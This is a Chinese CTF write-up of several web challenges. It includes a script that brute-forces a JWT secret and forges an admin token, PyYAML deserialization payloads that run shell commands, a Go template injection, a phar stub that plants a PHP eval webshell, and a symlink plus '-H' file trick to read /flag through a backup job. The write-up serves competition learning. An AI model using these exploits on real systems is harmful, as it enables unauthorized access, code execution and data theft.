Web

ez_python

首先扫目录能出来个auth

然后访问可得token(eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E)

直接伪造成admin

然后进行访问(控制台直接改),随便访问个python会给hint说key前几位,然后说后两位不知道需要爆破,那就直接写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import jwt
import string
import itertools

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀
key_prefix = "@o70xO$0%#qR9#"

# 字符集:字母 + 数字
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9

# 尝试所有两字符组合
for combo in itertools.product(charset, repeat=2):
key = key_prefix + ''.join(combo)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
print(f"✅ Found valid key: {key}")
print(f"Payload: {payload}")

admin_payload = {
"username": "admin",
"role": "admin"
}
forged_token = jwt.encode(admin_payload, key, algorithm="HS256")
print(f"🔑 Forged admin token: {forged_token}")
break
except jwt.InvalidSignatureError:
continue
except Exception as e:
print(f"Error with key {key}: {e}")
continue
else:
print("❌ No valid key found.")

img

然后直接控制台替换即可

后面就是文件执行,一直试python发现基本都被过滤了,看到yaml文件也可以执行,想到用yaml进行读取

于是有了以下:

1
2
!!python/object/apply:subprocess.getoutput ["ls /"]
!!python/object/apply:subprocess.getoutput ["cat /f1111ag"]

SSTI

简单测试发现不是python的jinja2,于是使用Go模板下的SSTI测试(昨天刚好有瞄过,也是很不容易了)

很明显就是Go下的SSTI,发现他自己定义了两个函数:B64Decode exec

直接 ls /即可,算是个签到

easy_readfile

限制长度,不能使用另外一个链子,只能用这个来写入文件然后include

1
2
O:7:"Acheron":1:{s:4:"mode";s:1:"r";}
O:7:"Acheron":1:{s:4:"mode";s:1:"w";}

参考文章DeadsecCTF2025 baby-web可以发现这里是可以进行文件包含的,单参数构造的都没什么办法rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$phar = new Phar('exp.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('echo \'<?php eval($_POST["code"]);\' >/var/www/html/shell.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

参考2025-n1ctf-junior-web-backup可以提权

1
2
echo "">"-H";
ln -s /flag ff;

等十几秒再cat ./backup/f*就可以读取到flag